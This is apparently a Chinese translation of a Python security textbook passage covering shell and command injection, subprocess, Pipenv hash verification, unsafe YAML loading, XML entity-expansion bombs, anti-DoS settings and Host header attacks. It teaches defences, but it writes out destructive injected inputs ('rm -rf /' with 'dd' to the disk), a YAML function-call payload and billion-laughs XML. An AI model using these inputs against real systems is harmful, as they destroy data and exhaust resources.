tempfile.TemporaryFile 函数是创建临时文件的首选方式。这个高级工具创建一个临时文件并返回其对象表示。当您在 with 语句中使用这个对象时,如下面代码中所示,它会为您关闭和删除临时文件。在这个例子中,创建一个临时文件,打开,写入,读取,关闭和删除:

>>> from tempfile import TemporaryFile
>>> 
>>> with TemporaryFile() as tmp:                           # ❶
...     tmp.write(b'Explicit is better than implicit.')    # ❷
...     tmp.seek(0)                                        # ❸
...     tmp.read()                                         # ❸
...                                                        # ❹
33
0
b'Explicit is better than implicit.'

❶ 创建并打开一个临时文件

❷ 写入文件

❸ 从文件中读取

❹ 退出块,关闭并删除文件

TemporaryFile 有一些替代方案来解决边缘情况。如果需要一个具有可见名称的临时文件,请将其替换为 NamedTemporaryFile。如果需要在将数据写入文件系统之前在内存中缓冲数据,请将其替换为 SpooledTemporaryFile

tempfile.mkstemptempfile.mkdtemp 函数是创建临时文件和临时目录的低级替代方案,分别。这些函数安全地创建临时文件或目录并返回路径。这与前述高级工具一样安全,但您必须承担关闭和删除使用它们创建的每个资源的责任。

警告 不要混淆 tempfile.mkstemptempfile.mkdtemptempfile.mktemp。这些函数的名称仅相差一个字符,但它们是非常不同的。tempfile.mktemp 函数由于安全原因已被 tempfile.mkstemptempfile.mkdtemp 废弃。

永远不要使用tempfile.mktemp。过去,这个函数被用来生成一个未使用的文件系统路径。调用者然后会使用这个路径来创建和打开一个临时文件。不幸的是,这是另一个你不应该使用 LBYL 编程的例子。考虑一下mktemp返回和临时文件创建之间的时间窗口。在这段时间内,攻击者可以在相同的路径上创建一个文件。从这个位置,攻击者可以向系统信任的文件写入恶意内容。

12.1.3 处理文件系统权限

每个操作系统都支持用户和组的概念。每个文件系统都维护关于每个文件和目录的元数据。用户、组和文件系统元数据决定操作系统如何执行文件系统级别的授权。在本节中,我将介绍几个设计用于修改文件系统元数据的 Python 函数。不幸的是,这些功能在只有类 UNIX 系统上完全支持。

类 UNIX 文件系统元数据指定一个所有者、一个组和三个类别:用户、组和其他人。每个类别代表三个权限:读取、写入和执行。用户和组类别适用于分配给文件的所有者和组。其他类别适用于其他所有人。

例如,假设 Alice、Bob 和 Mallory 有操作系统账户。一个由 Alice 拥有的文件分配给一个名为observers的组。Bob 是这个组的成员;Alice 和 Mallory 不是。这个文件的权限和类别由表 12.1 的行和列表示。

表 12.1 按类别的权限

拥有者 其他
读取
写入
执行

当 Alice、Bob 或 Mallory 尝试访问文件时,操作系统仅应用最本地类别的权限:

  • 作为文件的所有者,Alice 可以读取和写入文件,但不能执行它。

  • 作为observers的成员,Bob 可以读取文件,但不能对其进行写入或执行。

  • Mallory 根本无法访问文件,因为她既不是所有者也不在observers中。

Python 的os模块具有几个设计用于修改文件系统元数据的函数。这些函数允许 Python 程序直接与操作系统通信,消除了调用外部可执行文件的需要:

  • os.chmod—修改访问权限

  • os.chown—修改所有者 ID 和组 ID

  • os.stat—读取用户 ID 和组 ID

os.chmod函数修改文件系统权限。该函数接受一个路径和至少一个模式。每个模式在stat模块中被定义为一个常量,在表 12.2 中列出。在 Windows 系统上,os.chmod不幸地只能改变文件的只读标志。

表 12.2 权限模式常量

模式 拥有者 其他
读取 S_IRUSR S_IRGRP S_IROTH
写入 S_IWUSR S_IWGRP S_IWOTH
执行 S_IXUSR S_IXGRP S_IXOTH

以下代码演示了如何使用 os.chmod。第一次调用授予所有者读取权限;所有其他权限都被拒绝。此状态通过后续对 os.chmod 的调用而被擦除,而不是修改。这意味着第二次调用授予了群组读取权限;所有其他权限,包括先前授予的权限,都被拒绝:

import os
import stat

os.chmod(path_to_file, stat.S_IRUSR)    # ❶
os.chmod(path_to_file, stat.S_IRGRP)    # ❷

❶ 只有所有者可以阅读此内容。

❷ 只有群组可以阅读此内容。

如何授予多个权限?使用 OR 运算符组合模式。例如,以下代码行同时向所有者和群组授予读取访问权限:

os.chmod(path_to_file, stat.S_IRUSR | stat.S_IRGRP)    # ❶

❶ 只有所有者和群组可以阅读此内容。

os.chown 函数修改文件或目录的所有者和群组。此函数接受路径、用户 ID 和群组 ID。如果将 -1 作为用户 ID 或群组 ID 传递,则相应的 ID 将保持不变。下面的示例演示了如何在保留群组 ID 的同时更改您的 settings 模块的用户 ID。在您自己的系统上运行此代码是不明智的:

os.chown(path_to_file, 42, -1)

os.stat 函数返回文件或目录的元数据。此元数据包括用户 ID 和群组 ID。在 Windows 系统上,这些 ID 不幸地始终为 0。在交互式 Python shell 中键入以下代码以获取您的 settings 模块的用户 ID 和群组 ID,如加粗所示:

>>> import os
>>> 
>>> path = './alice/alice/settings.py'
>>> stat = os.stat(path)
>>> stat.st_uid             # ❶
501                         # ❶
>>> stat.st_gid             # ❷
20                          # ❷

❶ 访问用户 ID

❷ 访问群组 ID

在本节中,您学习了如何创建与文件系统交互的程序。在下一节中,您将学习如何创建运行其他程序的程序。

12.2 调用外部可执行文件

有时,您想要在 Python 中执行另一个程序。例如,您可能希望练习使用非 Python 语言编写的程序的功能。Python 提供了许多调用外部可执行文件的方法;其中一些方法可能存在风险。在本节中,我将为您提供一些工具来识别、避免和最小化这些风险。

警告:本节中许多命令和代码具有潜在破坏性。在为本章测试代码时,我曾意外地从笔记本电脑上删除了一个本地 Git 仓库。如果您选择运行以下任何示例,请自己小心。

当您在计算机上键入并执行命令时,您并没有直接与操作系统通信。相反,您键入的命令被另一个称为 shell 的程序传递到您的操作系统。例如,如果您在类 UNIX 系统上,您的 shell 可能是 /bin/bash。如果您在 Windows 系统上,您的 shell 可能是 cmd.exe。图 12.1 描述了 shell 的作用。(虽然图表显示的是 Linux 操作系统,但在 Windows 系统上的过程类似。)

CH12_F01_Byrne

图 12.1 一个 bash shell 将 Alice 的终端上的命令传递给操作系统。

如其名称所示,shell 仅提供了一层薄薄的功能。其中一些功能是由特殊字符支持的。特殊字符具有超出其字面用途的含义。例如,类 Unix 系统的 shell 将星号(*)字符解释为通配符。这意味着诸如rm *这样的命令会删除当前目录中的所有文件,而不是删除一个(奇怪地)命名为*的单个文件。这称为通配符展开

如果要求 shell 按字面意义解释特殊字符,则必须使用转义字符。例如,类 Unix 系统的 shell 将反斜杠视为转义字符。这意味着如果你只想删除一个(奇怪地)命名为*的文件,你必须输入rm \*

从外部来源构建命令字符串而不转义特殊字符可能是致命的。例如,以下代码演示了一种糟糕的调用外部可执行文件的方式。此代码提示用户输入文件名并构建命令字符串。然后,os.system函数执行该命令,删除文件,并返回 0。按照惯例,返回代码 0 表示命令成功完成。当用户键入alice.txt时,此代码表现正常,但是如果恶意用户键入*,则会删除当前目录中的所有文件。这称为shell 注入攻击

>>> import os
>>> 
>>> file_name = input('Select a file for deletion:')   # ❶
Select a file for deletion: alice.txt                  # ❶
>>> command = 'rm %s' % file_name
>>> os.system(command)                                 # ❷
0                                                      # ❷

❶ 从不受信任的来源接受输入

❷ 成功执行命令

除了 shell 注入之外,此代码还容易受到命令注入的攻击。例如,如果恶意用户提交-rf / ; dd if=/dev/random of=/dev/sda,则此代码将运行两个命令而不是一个。第一个命令删除根目录中的所有内容;第二个命令则通过向硬盘写入随机数据进一步恶化了情况。

Shell 注入和命令注入都是更广泛的攻击类别的特殊类型,通常称为注入攻击。攻击者通过向易受攻击的系统注入恶意输入来发起注入攻击。系统然后无意中执行输入,试图处理它,从而在某种程度上使攻击者受益。

注意:在撰写本文时,注入攻击位列 OWASP 十大安全威胁的第一位(owasp.org/www-project-top-ten/)。

在接下来的两节中,我将演示如何避免 shell 注入和命令注入。

12.2.1 使用内部 API 绕过 shell

如果你执行外部程序,你应该首先问自己是否需要。在 Python 中,答案通常是否定的。Python 已经为最常见的问题开发了内部解决方案;在这些情况下,没有必要调用外部可执行文件。例如,以下代码使用os.remove而不是os.system删除文件。这样的解决方案更容易编写,更容易阅读,更少出错,更安全:

>>> file_name = input('Select a file for deletion:')    # ❶
Select a file for deletion:bob.txt                      # ❶
>>> os.remove(file_name)                                # ❷

❶ 从不受信任的来源接受输入

❷ 删除文件

这种替代方案更安全在哪里?与 os.system 不同,os.remove 免疫于命令注入,因为它只做一件事,这是设计原则;这个函数不接受命令字符串,因此没有办法注入其他命令。此外,os.remove 避免了 shell 注入,因为它完全绕过了 shell;这个函数直接与操作系统交流,而不需要 shell 的帮助,也没有 shell 的风险。如粗体所示,特殊字符如 * 被直接解释:

>>> os.remove('*')                                             # ❶
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
FileNotFoundError: [Errno 2] No such file or directory: '*'    # ❷

❶ 这看起来不好 . . .

❷ . . . 但是没有东西被删除。

还有许多其他类似 os.remove 的函数;表格 12.3 列出了其中一些。第一列表示一个不必要的命令,第二列表示纯 Python 的替代方案。这个表格中的一些解决方案应该看起来很熟悉;在讨论文件系统级授权时,你已经见过它们。

表格 12.3 Python 替代简单命令行工具

命令行示例 Python 等价物 描述
$ chmod 400 bob.txt os.chmod('bob.txt', S_IRUSR) 修改文件权限
$ chown bob bob.txt os.chown('bob.txt', uid, -1) 更改文件所有者
$ rm bob.txt os.remove('bob.txt') 删除文件
> mkdir new_dir os.mkdir('new_dir') 创建新目录
> dir os.listdir() 列出目录内容
> pwd os.getcwd() 当前工作目录
$ hostname import socket;socket.gethostname() 读取系统主机名

如果 Python 没有为某个命令提供安全的替代方案,那么很可能会有一个开源的 Python 库提供。表格 12.4 列出了一组命令及其 PyPI 包的替代方案。你在前几章学到了其中的两个,requestscryptography

表格 12.4 Python 替代复杂命令行工具

命令行示例 PyPI 等价物 描述
$ curl http:/./bob.com -o bob.txt requests 通用 HTTP 客户端
$ openssl genpkey -algorithm RSA cryptography 通用加密
$ ping python.org ping3 测试主机是否可达
$ nslookup python.org nslookup 执行 DNS 查询
$ ssh alice@python.org paramiko SSH 客户端
$ git commit -m 'Chapter 12' GitPython 与 Git 仓库一起工作

表格 12.3 和 12.4 绝不是详尽无遗的。Python 生态系统中还有许多其他替代方案可用于外部可执行文件。如果你正在寻找一个不在这些表格中的纯 Python 替代方案,请在开始编写代码之前在网上搜索一下。

偶尔你可能会面临一个没有纯 Python 替代方案的独特挑战。例如,你可能需要运行一个你的同事编写的自定义 Ruby 脚本来解决领域特定的问题。在这种情况下,你需要调用一个外部可执行文件。在下一节中,我将向你展示如何安全地执行这样的操作。

12.2.2 使用 subprocess 模块

subprocess 模块是 Python 对外部可执行程序的答案。该模块废弃了 Python 的许多内置函数用于命令执行,列在这里。你在前一节中看到了其中之一:

  • os.system

  • os.popen

  • os.spawn*(八个函数)

subprocess 模块以简化的 API 和设计用于改善进程间通信、错误处理、互操作性、并发性和安全性的特性集取代了这些函数。在本节中,我只强调了该模块的安全特性。

以下代码使用 subprocess 模块从 Python 中调用一个简单的 Ruby 脚本。Ruby 脚本接受原型角色的名称,如 Alice 或 Eve;该脚本的输出是角色拥有的域的列表。请注意,run 函数不接受命令字符串;相反,它期望命令以列表形式提供,如粗体字所示。run 函数在执行后返回一个 CompletedProcess 实例。此对象提供对外部进程的输出和返回代码的访问:

>>> from subprocess import run
>>> 
>>> character_name = input('alice, bob, or charlie?')        # ❶
alice, bob, or charlie?charlie                               # ❶
>>> command = ['ruby', 'list_domains.rb', character_name]    # ❶
>>>
>>> completed_process = run(command, capture_output=True, check=True)
>>>
>>> completed_process.stdout                                 # ❷
b'charlie.com\nclient.charlie.com\n'                         # ❷
>>> completed_process.returncode                             # ❸
0                                                            # ❸

❶ 构建一个命令

❷ 打印命令输出

❸ 打印命令返回值

subprocess 模块从设计上是安全的。该 API 通过强制你将命令表达为列表来抵御命令注入。例如,如果一个恶意用户提交 charlie ; rm -fr / 作为一个角色名,run 函数仍然只执行 一个 命令,并且它执行的命令仍然只有 一个 (奇怪的)参数。

subprocess 模块 API 也抵御了 shell 注入。默认情况下,run 函数绕过 shell 并将命令直接转发给操作系统。在极为罕见的情况下,当你确实需要特殊功能(例如通配符展开)时,run 函数支持一个名为 shell 的关键字参数。顾名思义,将此关键字参数设置为 True 会通知 run 函数将你的命令传递给 shell。

换句话说,run 函数默认是安全的,但你可以明确选择一个更危险的选项。相反,os.system 函数默认是危险的,你别无选择。图 12.2 说明了两个函数及其行为。

CH12_F02_Byrne

图 12.2 Alice 运行了两个 Python 程序;第一个通过 shell 与操作系统通信,第二个直接与操作系统通信。

在本章中,你学到了两种类型的注入攻击。当你阅读下一章时,你会看到为什么这些攻击在 OWASP 十大中排名第一。它们有很多不同的形式和大小。

总结

  • 优先选择高级授权工具而不是低级方法。

  • 根据具体情况选择 EAFP 和 LBYL 编码风格。

  • 想要调用外部可执行程序与需要调用外部可执行程序是不同的。

  • 在 Python 和 PyPI 之间,通常有你想要的命令的替代方案。

  • 如果你需要执行一个命令,那么这个命令极有可能不需要一个 shell。

第十三章:永远不要信任输入

本章包括

  • 使用 Pipenv 验证 Python 依赖项

  • 使用 PyYAML 安全解析 YAML

  • 使用 defusedxml 安全解析 XML

  • 防止 DoS 攻击,Host 头攻击,开放重定向和 SQL 注入

在这一章中,Mallory 对 Alice、Bob 和 Charlie 发动了半打攻击。这些攻击及其对策并不像我后面涵盖的攻击那样复杂。本章中的每个攻击都遵循一种模式:Mallory 利用恶意输入滥用系统或用户。这些攻击以许多不同形式的输入形式出现:包依赖项、YAML、XML、HTTP 和 SQL。这些攻击的目标包括数据损坏、特权提升和未经授权的数据访问。输入验证是这些攻击的解药。

我在本章中涵盖的许多攻击都是注入攻击。(您在上一章中学习了关于注入攻击的知识。)在典型的注入攻击中,恶意输入被注入并立即由正在运行的系统执行。因此,程序员往往忽略了我在本章中开始讨论的非典型场景。在这种情况下,注入发生在上游,即构建时;执行发生在下游,即运行时。

13.1 使用 Pipenv 进行包管理

在本节中,我将向您展示如何使用 Pipenv 防止注入攻击。像之前学过的哈希和数据完整性一样,它们将再次出现。与任何 Python 包管理器一样,Pipenv 从诸如 PyPI 之类的包仓库检索并安装第三方包。不幸的是,程序员未能意识到包仓库是他们攻击面的重要部分。

假设 Alice 想要定期将新版本的 alice.com 部署到生产环境。她编写了一个脚本来拉取她代码的最新版本,以及她的软件包依赖项的最新版本。Alice 没有通过将她的依赖项检入版本控制来增加她代码仓库的大小。相反,她使用包管理器从包仓库拉取这些工件。

Mallory 已经入侵了 Alice 依赖的包仓库。在这个位置,Mallory 使用恶意代码修改了 Alice 的一个依赖项。最后,恶意代码由 Alice 的包管理器拉取并推送到 alice.com,在那里执行。图 13.1 说明了 Mallory 的攻击。

CH13_F01_Byrne

图 13.1 Mallory 通过包依赖注入恶意代码到 alice.com。

与其他包管理器不同,Pipenv 通过在从包仓库拉取每个包时验证包的完整性来自动阻止 Mallory 执行此攻击。如预期的那样,Pipenv 通过比较哈希值来验证包的完整性。

当 Pipenv 第一次获取一个包时,它会记录每个包构件的哈希值在你的锁定文件 Pipfile.lock 中。打开你的锁定文件,花一分钟观察一下你的一些依赖项的哈希值。例如,我的锁定文件的以下部分表明 Pipenv 拉取了requests包的 2.24 版本。两个构件的 SHA-256 哈希值以粗体显示:

...
"requests": {
 "hashes": [
 "Sha256:b3559a131db72c33ee969480840fff4bb6dd1117c8...", # ❶
 "Sha256:fe75cc94a9443b9246fc7049224f756046acb93f87..." # ❶
 ],
    "version": "==2.24.0"                                          # ❷
},
...

❶ 包构件的哈希值

❷ 包版本

当 Pipenv 获取一个熟悉的包时,它会对每个入站包构件进行哈希,并将哈希值与您的锁定文件中的哈希值进行比较。如果哈希值匹配,Pipenv 可以假定该包未经修改,因此安全安装。如果哈希值不匹配,如图 13.2 所示,Pipenv 将拒绝该包。

CH13_F02_Byrne

图 13.2 包管理器通过将恶意修改的 Python 包的哈希值与锁定文件中的哈希值进行比较来抵御注入攻击。

下面的命令输出展示了当一个包验证失败时 Pipenv 的行为。本地哈希值和警告以粗体显示:

$ pipenv install
Installing dependencies from Pipfile.lock
An error occurred while installing requests==2.24.0 
➥ --hash=sha256:b3559a131db72c33ee969480840fff4bb6dd1117c8...   # ❶
➥ --hash=sha256:fe75cc94a9443b9246fc7049224f756046acb93f87...   # ❶
...
[pipenv.exceptions.InstallError]: ['ERROR: THESE PACKAGES DO NOT
➥ MATCH THE HASHES FROM THE REQUIREMENTS FILE. If you have updated
➥ the package versions, please update the hashes. Otherwise,
➥ examine the package contents carefully; someone may have      # ❷
➥ tampered with them.                                           # ❷
...

❶ 包构件的本地哈希值

❷ 数据完整性警告

除了保护您免受恶意包修改之外,此检查还检测意外包损坏。这确保了本地开发、测试和生产部署的确定性构建——这是使用哈希进行现实世界数据完整性验证的一个很好的例子。在接下来的两节中,我将继续介绍注入攻击。

13.2 YAML 远程代码执行

在第七章,你看到 Mallory 进行远程代码执行攻击。首先,她将恶意代码嵌入到一个 pickled,或者序列化的 Python 对象中。接下来,她将这段代码伪装成基于 cookie 的 HTTP 会话状态并发送给服务器。服务器在不知不觉中使用 PickleSerializer,Python 的 pickle 模块的包装器,执行了恶意代码。在本节中,我将展示如何使用 YAML 而不是 pickle 进行类似的攻击——相同的攻击,不同的数据格式。

注意 在撰写本文时,不安全的反序列化在 OWASP 十大漏洞中排名第 8 位 (owasp.org/www-project-top-ten/)。

像 JSON、CSV 和 XML 一样,YAML 是一种用人类可读的格式表示数据的常见方式。每种主要的编程语言都有工具来解析、序列化和反序列化这些格式的数据。Python 程序员通常使用 PyYAML 来解析 YAML。在您的虚拟环境中,运行以下命令安装 PyYAML:

$ pipenv install pyyaml

打开一个交互式 Python shell 并运行以下代码。这个例子将一个小的内联 YAML 文档传递给 PyYAML。如粗体显示,PyYAML 使用BaseLoader加载文档并将其转换为 Python 字典:

>>> import yaml
>>> 
>>> document = """                             # ❶
...   title: Full Stack Python Security        # ❶
...   characters:                              # ❶
...     - Alice                                # ❶
...     - Bob                                  # ❶
...     - Charlie                              # ❶
...     - Eve                                  # ❶
...     - Mallory                              # ❶
... """                                        # ❶
>>> 
>>> book = yaml.load(document, Loader=yaml.BaseLoader)
>>> book['title']                              # ❷
'Full Stack Python Security'                   # ❷
>>> book['characters']                         # ❷
['Alice', 'Bob', 'Charlie', 'Eve', 'Mallory']  # ❷

❶ 从 YAML . . .

❷ . . . 到 Python

在第一章中,你学到了最小权限原则。PLP 表明用户或系统应该只被赋予执行其职责所需的最小权限。我向你展示了如何将这个原则应用到用户授权上;这里我将向你展示如何将其应用到解析 YAML 上。

警告 当你将 YAML 加载到内存中时,限制你给予 PyYAML 的权限非常重要。

你可以通过 Loader 关键字参数将 PLP 应用到 PyYAML。例如,前面的例子使用了最不强大的加载器 BaseLoader 加载了 YAML。PyYAML 支持其他三种 Loader。以下从最不强大到最强大列出了这四种 Loader。每个 Loader 支持的功能更多,风险也更大。

  • BaseLoader—支持原始的 Python 对象,如字符串和列表

  • SafeLoader—支持原始的 Python 对象和标准 YAML 标签

  • FullLoader—完整的 YAML 语言支持(默认)

  • UnsafeLoader—完整的 YAML 语言支持和任意函数调用

如果你的系统接受 YAML 作为输入,不遵循 PLP 可能是致命的。以下代码演示了当使用 UnsafeLoader 从不受信任的源加载 YAML 时会有多么危险。此示例创建了一个内联 YAML,其中嵌入了对 sys.exit 的函数调用。如粗体字所示,然后将 YAML 输入给 PyYAML。然后,该过程使用退出码 42 调用 sys.exit 杀死自身。最后,echo 命令结合 $? 变量确认 Python 进程确实以值 42 退出:

$ python                                           # ❶
>>> import yaml
>>> 
>>> input = '!!python/object/new:sys.exit [42]'    # ❷
>>> yaml.load(input, Loader=yaml.UnsafeLoader)     # ❸
$ echo $?                                          # ❹
42                                                 # ❹

❶ 创建进程

❷ 内联 YAML

❸ 杀死进程

❹ 确认死亡

你很可能永远不会需要以这种方式调用函数来进行商业用途。你不需要这个功能,那么为什么要冒险呢?BaseLoaderSafeLoader 是从不受信任的源加载 YAML 的推荐方式。或者,调用 yaml.safe_load 相当于使用 SafeLoader 调用 yaml.load

警告 PyYAML 的不同版本默认使用不同的 Loader,所以你应该始终明确指定你需要的 Loader。调用 yaml.load 而不带 Loader 关键字参数已经被弃用。

在调用 load 方法时,始终指定 Loader。如果不这样做,可能会使您的系统在运行较旧版本的 PyYAML 时变得脆弱。直到版本 5.1,默认的 Loader 是(相当于)UnsafeLoader;当前的默认 LoaderFullLoader。我建议避免使用这两种。

保持简单

我们在撰写本文时,即使是 PyYAML 的网站(github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)也不推荐使用 FullLoader

目前应该避免使用 FullLoader 加载器类。2020 年 7 月在 5.3.1 版本中发现了新的漏洞。这些漏洞将在下一个版本中解决,但如果发现更多的漏洞,那么 FullLoader 可能会消失。

在下一节中,我将继续使用不同的数据格式 XML 进行注入攻击。XML 不仅令人讨厌;我认为您会对它有多危险感到惊讶。

13.3 XML 实体扩展

在这一节中,我讨论了一些旨在耗尽系统内存的攻击。这些攻击利用了一个鲜为人知的 XML 功能,称为实体扩展。什么是 XML 实体?实体声明允许您在 XML 文档中定义和命名任意数据。实体引用是一个占位符,允许您在 XML 文档中嵌入一个实体。XML 解析器的工作是将实体引用扩展为实体。

将以下代码键入交互式 Python shell 中作为一个具体的练习。这段代码以粗体字显示一个小的内联 XML 文档开头。在这个文档中只有一个实体声明,代表文本Alice。根元素两次引用这个实体。在解析文档时,每个引用都会被扩展,将实体嵌入两次:

>>> from xml.etree.ElementTree import fromstring
>>> 
>>> xml = """                 # ❶
... <!DOCTYPE example [
...   <!ENTITY a "Alice">     # ❷
... ]>
... <root>&a;&a;</root>       # ❸
... """
>>> 
>>> example = fromstring(xml)
>>> example.text              # ❹
'AliceAlice'                  # ❹

❶ 定义一个内联 XML 文档

❷ 定义一个 XML 实体

❸ 根元素包含三个实体引用。

❹ 实体扩展演示

在这个例子中,一对三个字符的实体引用充当了一个五个字符的 XML 实体的占位符。这并没有以有意义的方式减少文档的总大小,但想象一下如果实体长度为 5000 个字符会怎样。因此,内存保护是 XML 实体扩展的一个应用;在接下来的两节中,您将了解到这个功能是如何被滥用以达到相反的效果。

13.3.1 二次膨胀攻击

攻击者通过武器化 XML 实体扩展来执行二次膨胀攻击。考虑以下代码。这个文档包含一个只有 42 个字符长的实体;这个实体只被引用了 10 次。二次膨胀攻击利用了一个像这样的文档,其中实体和引用计数的数量级更大。数学并不困难;例如,如果实体是 1 MB,实体被引用了 1024 次,那么文档的大小将约为 1 GB:

<!DOCTYPE bomb [
  <!ENTITY e "a loooooooooooooooooooooooooong entity ...">   # ❶
]>
<bomb>&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;</bomb>                  # ❷

❶ 单个实体声明

❷ 10 个实体引用

输入验证不足的系统很容易成为二次膨胀攻击的目标。攻击者注入少量数据;系统随后超出其内存容量,试图扩展数据。因此,恶意输入被称为内存炸弹。在下一节中,我将向您展示一个更大的内存炸弹,并教您如何化解它。

13.3.2 十亿笑攻击

这种攻击很有趣。十亿笑攻击,也被称为指数级膨胀扩展攻击,类似于二次膨胀攻击,但效果更加显著。这种攻击利用了 XML 实体可能包含对其他实体的引用的事实。很难想象在现实世界中有商业用途的情况下会使用这个功能。

以下代码示例说明了如何执行十亿笑话攻击。此文档的根元素仅包含一个实体引用,以粗体显示。此引用是实体嵌套层次结构的占位符:

<!DOCTYPE bomb [
  <!ENTITY a "lol">                               # ❶
  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">    # ❶
  <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">    # ❶
  <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">    # ❶
]>
<bomb>&d;</bomb>

❶ 四个嵌套层次的实体

处理此文档将强制 XML 解析器将此引用展开为文本 lol 的仅 1000 个重复。一个十亿笑话攻击利用了这样一个具有更多层次嵌套实体的 XML 文档。每个级别将内存消耗增加一个数量级。这种技术将使用不超过本书一页的 XML 文档超出任何计算机的内存容量。

像大多数编程语言一样,Python 有许多解析 XML 的 API。minidompulldomsaxetree 包都容易受到二次增长和十亿笑话攻击的影响。为了保护 Python,这些 API 只是遵循 XML 规范。

显然,向系统添加内存并不是解决此问题的方法;添加输入验证是。Python 程序员通过名为 defusedxml 的库来抵御内存炸弹。在您的虚拟环境中,运行以下命令来安装 defusedxml

$ pipenv install defusedxml

defusedxml 库旨在成为 Python 原生 XML API 的一个即插即用替代品。例如,让我们比较两个代码块。以下代码将使系统崩溃,因为它试图解析恶意 XML:

from xml.etree.ElementTree import parse

parse('/path/to/billion_laughs.xml')    # ❶

❶ 打开了一个内存炸弹

相反,以下代码在尝试解析相同文件时会引发 EntitiesForbidden 异常。唯一的区别是 import 语句:

from xml.etree.ElementTree import parse
from defusedxml.ElementTree import parse

parse('/path/to/billion_laughs.xml')    # ❶

❶ 引发一个 EntitiesForbidden 异常

在底层,defusedxml 封装了每个 Python 原生 XML API 的 parse 函数。defusedxml 定义的 parse 函数默认不支持实体展开。如果您需要在从受信任的来源解析 XML 时使用此功能,可以自由使用 forbid_entities 关键字参数覆盖此行为。表 13.1 列出了 Python 的每个原生 XML API 及其相应的 defusedxml 替代品。

表 13.1 Python XML API 和 defusedxml 替代方案

原生 Python API defusedxml API
from xml.dom.minidom import parse from defusedxml.minidom import parse
from xml.dom.pulldom import parse from defusedxml.pulldom import parse
from xml.sax import parse from defusedxml.sax import parse
from xml.etree.ElementTree import parse from defusedxml.ElementTree import parse

本章提出的内存炸弹既是注入攻击又是 拒绝服务 (DoS) 攻击。在下一节中,您将学习如何识别和抵御其他几种 DoS 攻击。

13.4 拒绝服务

你可能已经熟悉 DoS 攻击了。这些攻击旨在通过消耗过多的资源来压倒系统。DoS 攻击的目标资源包括内存、存储空间、网络带宽和 CPU。DoS 攻击的目标是通过损害系统的可用性来阻止用户访问服务。DoS 攻击有无数种方式进行。最常见的 DoS 攻击形式是通过向系统发送大量恶意网络流量来实施。

DoS 攻击计划通常比仅仅向系统发送大量网络流量更加复杂。最有效的攻击会操纵流量的特定属性,以增加对目标的压力。许多这些攻击利用了格式错误的网络流量,以利用低级网络协议实现。像 NGINX 这样的 Web 服务器,或者像 AWS 弹性负载均衡这样的负载均衡解决方案,是抵御这些攻击的合适场所。另一方面,像 Django 这样的应用服务器,或者像 Gunicorn 这样的 Web 服务器网关接口,则不适合这项工作。换句话说,这些问题不能用 Python 解决。

在本节中,我专注于更高级的基于 HTTP 的 DoS 攻击。相反,负载均衡器和 Web 服务器是抵御这些攻击的错误场所;应用服务器和 Web 服务器网关接口才是正确的场所。表 13.2 说明了一些 Django 设置,您可以使用这些设置来配置这些属性的限制。

表 13.2 Django 抗 DoS 攻击设置

设置 描述
DATA_UPLOAD_MAX_NUMBER_FIELDS 配置允许的请求参数最大数量。如果此检查失败,Django 将引发 SuspiciousOperation 异常。此设置默认为 1000,但合法的 HTTP 请求很少有这么多字段。
DATA_UPLOAD_MAX_MEMORY_SIZE 限制请求体的最大大小(以字节为单位)。此检查忽略文件上传数据。如果请求体超过此限制,Django 将引发 Suspicious-Operation 异常。
FILE_UPLOAD_MAX_MEMORY_SIZE 表示上传到内存中的文件在写入磁盘之前的最大大小(以字节为单位)。此设置旨在限制内存消耗;它不限制上传文件的大小。

警告 上一次你见到有 1000 个字段的表单是什么时候?将 DATA_UPLOAD_MAX_NUMBER_FIELDS 从 1000 减少到 50 或许值得您的时间。

DATA_UPLOAD_MAX_MEMORY_SIZEFILE_UPLOAD_MAX_MEMORY_SIZE 合理地默认为 2,621,440 字节(2.5 MB)。将这些设置分配给 None 将禁用该检查。

表 13.3 说明了一些 Gunicorn 参数,用于抵御其他几种基于 HTTP 的 DoS 攻击。

表 13.3 Gunicorn 抗 DoS 攻击参数

参数 描述
limit-request-line 表示请求行的大小限制,以字节为单位。请求行包括 HTTP 方法,协议版本和 URL。URL 是明显的限制因素。此设置默认为 4094;最大值为 8190。将其设置为 0 将禁用检查。
limit-request-fields 限制请求允许具有的 HTTP 头数。此设置限制的“字段”不是表单字段。默认值合理设置为 100。limit-request-fields 的最大值为 32768。
limit-request-field_size 表示 HTTP 头的最大允许大小。下划线不是打字错误。默认值为 8190。将其设置为 0 允许无限大小的头。Web 服务器通常也执行此检查。

本节的主要观点是,HTTP 请求的任何属性都可以被武器化;这包括大小、URL 长度、字段计数、字段大小、文件上传大小、头计数和头大小。在下一节中,您将了解到由单个请求头驱动的攻击。

13.5 主机头攻击

在我们深入讨论Host头攻击之前,我将解释为什么浏览器和 Web 服务器使用Host头。Web 服务器在网站和其用户之间中继 HTTP 流量。Web 服务器经常为多个网站执行此操作。在这种情况下,Web 服务器将每个请求转发到浏览器设置Host头的任何网站。这样可以防止将 alice.com 的流量发送到 bob.com,反之亦然。图 13.3 说明了一个 Web 服务器在两个用户和两个网站之间路由 HTTP 请求的情况。

CH13_F03_Byrne

图 13.3 一个 Web 服务器使用主机头来在 Alice 和 Bob 之间路由 Web 流量。

Web 服务器通常配置为将缺少或无效的Host头的请求转发到默认网站。如果此网站盲目信任Host头值,它将变得容易受到Host头攻击的影响。

假设 Mallory 向 alice.com 发送密码重置请求。她伪造了Host头值,将其设置为mallory.com而不是alice.com。她还将电子邮件地址字段设置为bob@bob.com而不是mallory@mallory.com

Alice 的 Web 服务器收到 Mallory 的恶意请求。不幸的是,Alice 的 Web 服务器配置为将包含无效Host头的请求转发到她的应用服务器。应用服务器接收到密码重置请求并向 Bob 发送密码重置电子邮件。就像你在第九章学习发送的密码重置电子邮件一样,发送给 Bob 的电子邮件包含一个密码重置链接。

Alice 的应用程序服务器如何生成 Bob 的密码重置链接?不幸的是,它使用了传入的 Host 头。这意味着 Bob 收到的 URL 是针对 mallory.com 而不是 alice.com 的;此链接还包含密码重置令牌作为查询参数。Bob 打开电子邮件,点击链接,不小心将密码重置令牌发送到 mallory.com。然后,Mallory 使用密码重置令牌重置了 Bob 的密码,并接管了 Bob 的帐户。图 13.4 描绘了这种攻击。

CH13_F04_Byrne

